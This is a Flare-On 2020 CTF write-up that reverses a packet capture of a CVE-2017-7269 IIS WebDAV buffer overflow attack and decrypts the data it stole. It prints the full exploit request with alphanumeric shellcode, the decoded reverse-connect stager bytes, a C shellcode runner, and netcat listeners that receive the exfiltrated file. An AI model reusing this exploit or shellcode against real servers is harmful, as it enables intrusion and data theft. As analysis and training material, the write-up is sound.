Flare-On 2020: RE Crowd
RE Crowd was a different kind of reversing challenge. I’m given a PCAP that includes someone trying to exploit an IIS webserver using CVE-2017-7269. This exploit uses alphanumeric shellcode to run on success. I’ll pull the shellcode and analyze it, seeing that it’s a Metasploit loader that connects to a host and then the host sends back an encrypted blob. The host then sends another encrypted blob back to the attcker. I’ll use what I can learn about the attacker’s commands to decrypt that exfil and find the flag.
Challenge
Hello,
Here at Reynholm Industries we pride ourselves on everything. It’s not easy to admit, but recently one of our most valuable servers was breached. We don’t believe in host monitoring so all we have is a network packet capture. We need you to investigate and determine what data was extracted from the server, if any.
Thank you
In a new twist for Flare-On (at least as far as I’ve done), I’m given only a PCAP file:
root@kali# file re_crowd.pcapng
re_crowd.pcapng: pcapng capture file - version 1.0
PCAP
Statistics
When I’m given a PCAP, I like to start by looking at statistics about the conversations. This can be done in Wireshark, but I’ll go with the command line.
There are three hosts, with 192.168.68.21 talking to 192.168.68.1 and 192.168.0.1:
root@kali# tshark -r re_crowd.pcapng -q -z conv,ip
================================================================================
IPv4 Conversations
Filter:<No Filter>
| <- | | -> | | Total | Relative | Duration |
| Frames Bytes | | Frames Bytes | | Frames Bytes | Start | |
192.168.68.1 <-> 192.168.68.21 419 129550 299 98483 718 228033 5.005510000 20.7639
192.168.0.1 <-> 192.168.68.21 2 182 0 0 2 182 0.000000000 5.3247
================================================================================
There are 93 different TCP streams (the numbering is 0-based):
root@kali# tshark -r re_crowd.pcapng -T fields -e tcp.stream | sort -unr | head -1
92
Most of the TCP streams are 192.168.68.21 connecting to a webserver on 192.168.68.1:80, but there are two others that stand out:
root@kali# tshark -r re_crowd.pcapng -q -z conv,tcp
================================================================================
TCP Conversations
Filter:<No Filter>
| <- | | -> | | Total | Relative | Duration |
| Frames Bytes | | Frames Bytes | | Frames Bytes | Start | |
192.168.68.21:34078 <-> 192.168.68.1:80 14 42894 18 3293 32 46187 5.008275000 20.7612
192.168.68.21:34082 <-> 192.168.68.1:80 6 11817 7 826 13 12643 10.327909000 10.2096
192.168.68.21:44685 <-> 192.168.68.1:80 5 635 7 2089 12 2724 17.238991000 2.2128
192.168.68.21:34080 <-> 192.168.68.1:80 5 7465 6 756 11 8221 10.327019000 10.2104
192.168.68.21:44241 <-> 192.168.68.1:80 4 569 6 2137 10 2706 16.647657000 0.0459
192.168.68.21:46587 <-> 192.168.68.1:80 4 569 6 2135 10 2704 16.676111000 0.0453
...[snip]...
192.168.68.1:2927 <-> 192.168.68.21:1337 3 182 5 484 8 666 16.829064000 0.0016
...[snip]...
192.168.68.21:4444 <-> 192.168.68.1:2926 3 170 2 1359 5 1529 16.827242000 0.1136
...[snip]...
================================================================================
The two more interesting connections:
- 192.168.68.21:4444 <–> 192.168.68.1:2926 starting 16.827 seconds into the PCAP, lasting 0.1136 seconds
- 192.168.68.1:2927 <–> 192.168.68.21:1337 starting 16.829 seconds into the PCAP, lasting 0.453 seconds.
Anytime you see port 1337 (leet) in a CTF, it’s likely interesting. And port 4444 is the default Metasploit port. Given how close together these were in time, and the successive source ports from the .1, they are likely related.
Wireshark
TCP Streams Overview
Opening the PCAP in Wireshark, I can validate what I saw with tshark
. There’s no unimportant data in here. The TCP streams break into six groups:
Stream | Activity |
---|---|
0-2 | A GET request for a internal company chat, with images and CSS |
3-31 | Some kind of FIN/ACK scans from the attacker to the server. |
32-48, 52-92 | Exploit failures, 500 response from server |
49 | Exploit success |
50 | Server connects to attacker on TCP 4444, attacker sends encrypted |
51 | Server connects to attacker on TCP 1337, server sends encrypted |
The two encrypted streams will be important later, but not much to do with them now.
Chat
The chat page has a section topnav
and then a column with chat in it, each of which looks like:
<div class="row">
<div class="postdetails">
<div class="post top">
June, 5th, 2018, 01:33 PM
</div>
<div class="post left">
<p>
<img src="jen.jpg" class="avatar">Jen
</p>
</div>
<div class="post right">
<p>Roy, Moss, look!! I made an IT Department web forum!!</p>
</div>
</div>
</div>
I can dump all the HTTP objects out of Wireshark and open it in Firefox:
There’s a few hints in here:
- There’s a list of usernames and passwords at
C:\accounts.txt
on the server (I actually missed this originally, but I’ll show later how I found it). - The server isn’t patched at all.
- The timeframe is June 2018.
Exploit
The exploit attempts are each a PROPFIND request to the root with an IF
header with a long string:
PROPFIND / HTTP/1.1
Host: 192.168.68.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Length: 0
If: <http://192.168.68.1:80/AFRPWWBVQzHpAERtoPGOxDTKYBGmrxqhVCdIGMmNDzefUMySmeCdKhFobQXIDkhgEpnMeUniloxaFrfDCCBprACtWhHkrCVphXAmetqJqxATcnu............................................................................................................................> (Not <locktoken:write1>) <http://192.168.68.1:80/oxamUvbohSEvpUpVuakwGpSnAQoMYMshqrvwwjFDLrhpIfQlgCdAlvwhrhCpWoKXCgOMkAbpjBnwLDdfCGcxCAyShpvGEmVwncZIIFDjgilqkGt.........................................................................................................................................................................................................................................................................VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA>
Each of the attempts are the same except they remove the first byte after <http://192.168.68.1:80/
in the If:
header from the prior attempt (so the A
in the example above). This looks to me like a buffer overflow where the attacker is trying to get the right buffer length to line up the rest of the exploit to run.
In each request except for one (the one that works, where there’s no response), there’s a 500 response from the server:
HTTP/1.1 500 Internal Server Failure
Connection: close
Date: Thu, 16 Jul 2020 20:19:53 GMT
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Content-Type: text/html
Content-Length: 67
<body><h1>HTTP/1.1 500 Internal Server Error(exception)</h1></body>
Based on the unusual PROPFIND requests and the Server
header saying the server runs IIS 6.0, some googling quickly leads to CVE-2017-7269. This blog from TrendMicro does a good short overview. There are POCs available on GitHub. This blog post does a good deeper dive into the vulnerability. One takeaway is that the exploit must use alphanumeric shellcode. With that limited instruction set, typically shellcode will decode itself into something more complex (outside the alphanumeric limitations) and then run its decoded version.
I’ll grab the shellcode from the one request with no return from the server (though each request is the same) and save that:
VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlHharm0ipIpS0u9iUMaY0qTtKB0NPRkqBLLBkPRMDbksBlhlOwGMzmVNQkOTlmlQQqllBLlMPGQVoZmjaFgXbIbr2NwRk1BzpDKmzOLtKPLjqqhJCa8za8QPQtKaImPIqgctKMyZxk3MjniRkMddKM16vnQYoVLfaXOjm9quwP8Wp0ul6LCqm9hOKamNDCEGtnxBkOhMTKQVs2FtKLLPKdKNxKlYqZ3tKLDDKYqXPdIq4nDnDokqKS1pY1Jb1yoK0Oo1OQJbkZrHkrmaMbHLsLrYpkPBHRWrSlraO1DS8nlbWmVkW9oHUtxV0M1IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqqLriXfqZlPr6b7ph3iteadqQKOweCUEpd4JlYopN9xbUHl0hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0OnrbmlN2JmpoxM0N0ypKP0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh1OIoHU9qUsNIUv1ehnQKqIomr5Og4IYOgxLPkPM0yp0kS9RLplaUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2LOjbklmF4JztkWDFjtmObhMDIwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtMOqxlTLGIrn4ko1zKdn7P0B5IppEmyBUjEaOUsAA
RE
Decode Shellcode
I first tried to see if I could just run this shellcode in something like scdbg.exe
, but it didn’t work. After a bunch of Googling, it looks like I’m going to need to decode it first. Luckily, this article is all about how to decode shellcode in just this kind of attack, and it includes a reference to a script to decode this encoder.
Example from Blog
It took me a little bit of experimentation to get this to work correctly. In the hexdump images in the post, there’s a bunch of unicode, and then the ASCII starts with VVYAIAI...
. In the script the encoded_bytes
variable is set to "\x56\x56\x59\x41\x49\x41\x49...
, which is that string hex encoded.
When I run the script without modification, it prints a bunch of stuff. The author’s image showing a hexdump of the shellcode starts with the bytes FC E8
, which is a common pattern for shellcode. Interestingly, that’s in the middle of this output.
Not entirely sure, I started the decoded shellcode there through the end of the line, and used xxd -r -p
to convert it to binary.
Now, scdbg.exe
works on the result, matching what was in the blog post:
PS > scdbg.exe -f F:\07-re_crowd\example_shellcode.bin
Loaded 1d3 bytes from file F:\07-re_crowd\example_shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
4010a4 LoadLibraryA(wininet)
4010b2 InternetOpenA(wininet)
4010c8 InternetConnectA(server: 192.144.150.188, port: 80, )
Stepcount 2000001
re_crowd
I’ll convert the shellcode into hex in Bash:
root@kali# cat shellcode.txt | xxd -p | tr -d '\n' | sed 's/.\{2\}/\\x&/g'
\x56\x56\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39\x75\x34\x4a\x42\x59\x6c\x48\x68\x61\x72\x6d\x30\x69\x70\x49\x70\x53\x30\x75\x39\x69\x55\x4d\x61\x59\x30\x71\x54\x74\x4b\x42\x30\x4e\x50\x52\x6b\x71\x42\x4c\x4c\x42\x6b\x50\x52\x4d\x44\x62\x6b\x73\x42\x6c\x68\x6c\x4f\x77\x47\x4d\x7a\x6d\x56\x4e\x51\x6b\x4f\x54\x6c\x6d\x6c\x51\x51\x71\x6c\x6c\x42\x4c\x6c\x4d\x50\x47\x51\x56\x6f\x5a\x6d\x6a\x61\x46\x67\x58\x62\x49\x62\x72\x32\x4e\x77\x52\x6b\x31\x42\x7a\x70\x44\x4b\x6d\x7a\x4f\x4c\x74\x4b\x50\x4c\x6a\x71\x71\x68\x4a\x43\x61\x38\x7a\x61\x38\x51\x50\x51\x74\x4b\x61\x49\x6d\x50\x49\x71\x67\x63\x74\x4b\x4d\x79\x5a\x78\x6b\x33\x4d\x6a\x6e\x69\x52\x6b\x4d\x64\x64\x4b\x4d\x31\x36\x76\x6e\x51\x59\x6f\x56\x4c\x66\x61\x58\x4f\x6a\x6d\x39\x71\x75\x77\x50\x38\x57\x70\x30\x75\x6c\x36\x4c\x43\x71\x6d\x39\x68\x4f\x4b\x61\x6d\x4e\x44\x43\x45\x47\x74\x6e\x78\x42\x6b\x4f\x68\x4d\x54\x4b\x51\x56\x73\x32\x46\x74\x4b\x4c\x4c\x50\x4b\x64\x4b\x4e\x78\x4b\x6c\x59\x71\x5a\x33\x74\x4b\x4c\x44\x44\x4b\x59\x71\x58\x50\x64\x49\x71\x34\x6e\x44\x6e\x44\x6f\x6b\x71\x4b\x53\x31\x70\x59\x31\x4a\x62\x31\x79\x6f\x4b\x30\x4f\x6f\x31\x4f\x51\x4a\x62\x6b\x5a\x72\x48\x6b\x72\x6d\x61\x4d\x62\x48\x4c\x73\x4c\x72\x59\x70\x6b\x50\x42\x48\x52\x57\x72\x53\x6c\x72\x61\x4f\x31\x44\x53\x38\x6e\x6c\x62\x57\x6d\x56\x6b\x57\x39\x6f\x48\x55\x74\x78\x56\x30\x4d\x31\x49\x70\x79\x70\x4b\x79\x69\x34\x4e\x74\x62\x30\x62\x48\x4e\x49\x75\x30\x30\x6b\x79\x70\x69\x6f\x49\x45\x4e\x70\x4e\x70\x50\x50\x32\x30\x31\x30\x32\x30\x61\x30\x6e\x70\x53\x38\x78\x6a\x4c\x4f\x47\x6f\x67\x70\x49\x6f\x77\x65\x46\x37\x50\x6a\x6b\x55\x53\x38\x55\x70\x77\x38\x31\x34\x6e\x35\x50\x68\x4c\x42\x69\x70\x6a\x71\x71\x4c\x72\x69\x58\x66\x71\x5a\x6c\x50\x72\x36\x62\x37\x70\x68\x33\x69\x74\x65\x61\x64\x71\x51\x4b\x4f\x77\x65\x43\x55\x45\x70\x64\x34\x4a\x6c\x59\x6f\x70\x4e\x39\x78\x62\x55\x48\x6c\x30\x68\x7a\x50\x57\x45\x56\x42\x52\x36\x79\x6f\x66\x75\x30\x6a\x39\x70\x51\x5a\x6b\x54\x71\x46\x52\x37\x6f\x78\x4b\x52\x79\x49\x66\x68\x6f\x6f\x39\x6f\x48\x55\x44\x4b\x70\x36\x33\x51\x5a\x56\x70\x4b\x71\x48\x30\x4f\x6e\x72\x62\x6d\x6c\x4e\x32\x4a\x6d\x70\x6f\x78\x4d\x30\x4e\x30\x79\x70\x4b\x50\x30\x51\x52\x4a\x69\x70\x70\x68\x70\x58\x36\x44\x30\x53\x6b\x35\x69\x6f\x47\x65\x42\x6d\x44\x58\x39\x70\x6b\x51\x39\x70\x4d\x30\x72\x33\x52\x36\x70\x50\x42\x4a\x4b\x50\x30\x56\x62\x33\x42\x37\x33\x38\x4b\x52\x78\x59\x46\x68\x31\x4f\x49\x6f\x48\x55\x39\x71\x55\x73\x4e\x49\x55\x76\x31\x65\x68\x6e\x51\x4b\x71\x49\x6f\x6d\x72\x35\x4f\x67\x34\x49\x59\x4f\x67\x78\x4c\x50\x6b\x50\x4d\x30\x79\x70\x30\x6b\x53\x39\x52\x4c\x70\x6c\x61\x55\x54\x32\x32\x56\x32\x55\x42\x4c\x44\x34\x52\x55\x71\x62\x73\x35\x4c\x71\x4d\x62\x4f\x43\x31\x4e\x70\x31\x67\x50\x64\x6a\x6b\x4e\x55\x70\x42\x55\x39\x6b\x31\x71\x38\x6f\x79\x70\x6d\x31\x39\x70\x4d\x30\x4e\x51\x79\x4b\x39\x72\x6d\x4c\x39\x77\x73\x59\x65\x72\x73\x50\x4b\x32\x4c\x4f\x6a\x62\x6b\x6c\x6d\x46\x34\x4a\x7a\x74\x6b\x57\x44\x46\x6a\x74\x6d\x4f\x62\x68\x4d\x44\x49\x77\x79\x6e\x39\x30\x53\x45\x37\x78\x4d\x61\x37\x6b\x4b\x4e\x37\x50\x59\x72\x6d\x4c\x79\x77\x63\x5a\x4e\x34\x49\x77\x53\x56\x5a\x74\x4d\x4f\x71\x78\x6c\x54\x4c\x47\x49\x72\x6e\x34\x6b\x6f\x31\x7a\x4b\x64\x6e\x37\x50\x30\x42\x35\x49\x70\x70\x45\x6d\x79\x42\x55\x6a\x45\x61\x4f\x55\x73\x41\x41
xxd -p
will convert the ASCII bytes to hex (and in raw format with -p
). Then tr -d '\n'
will remove the newlines. Finally, sed 's/.\{2\}/\\x&/g'
will match on any two characters, and replace them with \x[same two characters]
to get the string in the right format.
I’ll replace the shellcode in the script with this output, and Just like before, the script prints a lot of extra stuff:
root@kali# python dcode-mod.py
aTjRb\iYaYaYxQjQQaaqYYYYAQRRRRWY`1dP0R
8u};}$uXX$fI:I41 Rr(J&1<a|,
KXD$$[[aYZQ__Z]h32hws2_ThLw&)TPh)kPPPP@P@PhjhDh\jVWhtat
NuhVjjVWh_6KXORj@hQjhXSSVPjVSWh_)u[Y]UWkillervulture123^1u1u10UEIu_Q
B6D1D1D1D1D1D1D1D1D1D1D1D1D1D1D1F861546A52625C69596159615978516A51D1D1D151D1D1616171C1595959594151D1F1D1E252525252FD575984E2FCE8820000006089E531C0648B50308B520C8B52148B72280FB74A2631FFAC3C617C022C20C1CF0D01C7E2F252578B52108B4A3C8B4C1178E34801D1518B592001D38B4918E33A498B348B01D631FFACC1CF0D01C738E075F6037DF83B7D2475E4588B582401D3668B0C4B8B581C01D38B048B01D0894424245B5B61595A51FFE05F5F5A8B12EB8D5D6833320000687773325F54684C772607FFD5B89001000029C454506829806B00FFD5505050504050405068EA0FDFE0FFD5976A0568C0A84415680200115C89E66A1056576899A57461FFD585C0740CFF4E0875EC68F0B5A256FFD56A006A0456576802D9C85FFFD58B3681F64B584F528D0E6A406800100000516A006858A453E5FFD58D98000100005356506A005653576802D9C85FFFD501C329C675EE5B595D555789DFE8100000006B696C6C657276756C747572653132335E31C0AAFEC075FB81EF0001000031DB021C0789C280E20F021C168A140786141F881407FEC075E831DBFEC0021C078A140786141F88140702141F8A1417305500454975E55FC351
But there’s an FCE8
, so I’ll start there and grab the rest. Converting it back to binary with xxd -r -p
, it now runs in scdbg.exe
:
PS > .\scdbg.exe -f F:\07-re_crowd\flare7decode_mod_raw
Loaded 18b bytes from file F:\07-re_crowd\flare7decode_mod_raw
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40109b LoadLibraryA(ws2_32)
4010ab WSAStartup(190)
4010ba WSASocket(af=2, tp=1, proto=0, group=0, flags=0)
4010d4 connect(h=42, host: 192.168.68.21 , port: 4444 ) = 71ab4a07
4010f1 recv(h=42, buf=12fc5c, len=4, fl=0)
Allocation (e5e5849) > MAX_ALLOC adjusting...
40110c VirtualAlloc(base=0 , sz=1000000) = 600000
len being reset to 4096 from e5e5849
401121 recv(h=42, buf=600100, len=1000, fl=0)
len being reset to 4096 from e5e5849
401121 recv(h=42, buf=600100, len=1000, fl=0)
Stepcount 2000001
The shellcode is making a connection to 192.168.68.21:4444, calling recv
, allocating space with VirtualAlloc
, then a couple more recv
, and it exits.
At this point I can form a theory about what’s happening. The shellcode is making this connection back to the attacker on .21, and the attacker is sending more shellcode to be executed. I’m going to guess that the shellcode in the PCAP starts another connection back to the attacker, this time encrypting and exfiling data.
Prep to Run
While scdbg.exe
is a great tool to get an idea about what shellcode is doing (and that’s often as deep as people need to go), I want to run this shellcode and debug it.
Network
I want to run this shellcode and be in a position to send the next stage back to it. To do that, I’ll set up my two VMs by changing their network adapters to “Internal Network” in VirtualBox and picking a common name. By attaching them both to the same network, they can communicate with each other through a virtual switch. It’s like this image, except there’s no VM1 (just VM2 and VM3 that can talk to each other):
There I’ll manually set my Kali VM IP to 192.168.68.21, and my Windows VM to 192.168.68.1.
Make an exe
Windows won’t just run shellcode. The easiest way to run shellcode is to create a wrapper program in C:
#include <stdio.h>
unsigned char sc[] = "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\xC0\xA8\x44\x15\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81\xF6\x4B\x58\x4F\x52\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x75\xEE\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00\x00\x6B\x69\x6C\x6C\x65\x72\x76\x75\x6C\x74\x75\x72\x65\x31\x32\x33\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3\x51";
int main(int argc, char **argv) {
int (*func)() = (int(*)())sc;
func();
}
I’ll compile this on Linux with mingw32
(apt install mingw-64
):
root@kali# i686-w64-mingw32-g++ -fno-stack-protector run_shellcode.c -o run_shellcode.exe
This program will crash if just run because it will try to execute from the .data
section which is marked read only. I can change it on each run in x32dbg
by finding it in the Memory Map tab, right clicking on it, and selecting “Set Page Memory Rights”:
Better yet, I can open the exe in CFF Explorer, and then find the Section Headers:
The characteristics column is where permissions are defined. The various flags that are set in that dword
are defined here. The most interesting ones for this conversation are IMAGE_SCN_MEM_EXECUTE
(0x20000000), IMAGE_SCN_MEM_READ
, (0x40000000), and IMAGE_SCN_MEM_WRITE
(0x80000000). To enable execution on .data
, I’ll change the value from 0xC0600040 to 0xE0600040, and then save the executable.
Debugging
Opening this in x32dbg, there are a few break point before it reaches the entry point:
Stepping through, there are a couple clear loops where DLL API calls are being processed, until it eventually reaches 0x40309F, which is a JMP EAX
:
The argument on the stack is ws2_32
, which offers API calls around sockets. I’ll leave a break point here and run til it reaches again. This time it’s calling ws2_32.WSAStartup
. Continuing, there’s a call to ws2_32.WSASocketA
, and then ws2_32.connect
. I’ll look at this API call a bit more in depth. The docs show it takes a socket, a sockaddr
pointer, and an int:
Looking at the stack, there’s the return address, followed by 0x130 (socket id), then a pointer, and then 0x10 (the length of the name). Right-clicking on the address and selecting Follow in Dump jumps to the sockaddr
:
The docs show that a sockaddr
is:
struct sockaddr_in {
short sin_family;
u_short sin_port;
struct in_addr sin_addr;
char sin_zero[8];
};
Object | Value | Note |
---|---|---|
short sin_family; |
0x0002 | AF_INET == TCP |
u_short sin_port; |
0x5C11 | 4444 |
struct in_addr sin_addr; |
0xC0A84415 | 192.168.68.21 |
This is a call to connect to 192.168.68.21:4444.
Continuing on, it errors out with a connection refused:
Feed Shellcode
Looking at the PCAP, what gets sent back looks like random encrypted data to me:
If that’s true, I could either send some random data back and try to understand the decryption. Better yet, I can replay this data back to the shellcode and see if it still works.
I copied this data as a hexdump from Wireshark and used CyberChef’s From Hexdump to decode it and then save the result to a file.
I started a nc
listener on 4444 which will send the response payload:
root@kali# nc -lnvp 4444 < resp.dat
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
I also started a listener on 1337 on the chance that the code still worked and that caused data to come back to me. On running my exe, there’s a connection first at 4444, then at 1337. Neither outputs any data.
At this point, I think the second stage is looking for the file with the flag in it, but it’s not there.
Find File
I started procmon.exe
(from Sysinternals), started the same listeners, and ran the exe again. This part is interesting:
It connects to and receives from the attacker box, then tries to open C:\accounts.txt
but fails because it doesn’t exist. Then it connects to the attacket on 1337. That file name is the same one mentioned in the chat at the start of the PCAP.
I put some data into that file, started up both nc
, and ran again. I created the test file on Linux because it’s a cleaner file:
root@kali# echo "this is a test" > accounts.txt
I copied that into C:\
. I had the 1337 listener output into xxd
because I expect binary data:
root@kali# nc -lnvp 1337 | xxd
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.68.1.
Ncat: Connection from 192.168.68.1:26913.
00000000: 4561 47ca ed7e 8c32 80f5 000f ab8f 20 EaG..~.2......
What is interesting is that the test data and this encrypted data are both 15 bytes long. That implies some kind of stream cipher.
Decrypt
I saved the encrypted exfil to a file with Cyberchef just like before. My first thought was to put a long file in place, and have it exfiled to me. If I know the plaintext and the ciphertext, there’s a chance that I can xor them to get the key stream, and then xor that with the ciphertext from the PCAP to get the PCAP plaintext.
To make it simple, I created a file longer than the PCAP ciphertext of all nulls:
root@kali# wc flag-encrypted.dat
1 6 206 flag-encrypted.dat
root@kali# python3 -c 'print("\x00"*220, end="")' > null.txt
root@kali# wc null.txt
0 0 220 null.txt
I dropped that into place at C:\accounts.txt
, and collected the result from 1337 to a file. Because the plaintext is all null, the resulting data should be the key stream. I’ll xor it against the PCAP ciphertext in a Python Repl, and it gives the flag:
>>> with open('keystream.bin', 'rb') as f:
... keystream = f.read()
...
>>> with open('flag-encrypted.dat', 'rb') as f:
... ciphertext = f.read()
...
>>> print(''.join([chr(c^k) for c,k in zip(ciphertext, keystream)]))
roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat
moss:Pot-Pocket-Pigeon-Hunt-8:narwhal
jen:Straighten-Effective-Gift-Pity-1:bunny
richmond:Inventor-Hut-Autumn-Tray-6:bird
denholm:123:dog
Since the same keystream is being used to xor the data, I could also just put the encrypted data in place at accounts.txt
, and then what comes back over nc
will be the plaintext:
root@kali# nc -lnvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 192.168.68.1.
Ncat: Connection from 192.168.68.1:26915.
roy:h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com:goat
moss:Pot-Pocket-Pigeon-Hunt-8:narwhal
jen:Straighten-Effective-Gift-Pity-1:bunny
richmond:Inventor-Hut-Autumn-Tray-6:bird
denholm:123:dog
Either way, I’ve captured the flag.
Flag: h4ve_you_tri3d_turning_1t_0ff_and_0n_ag4in@flare-on.com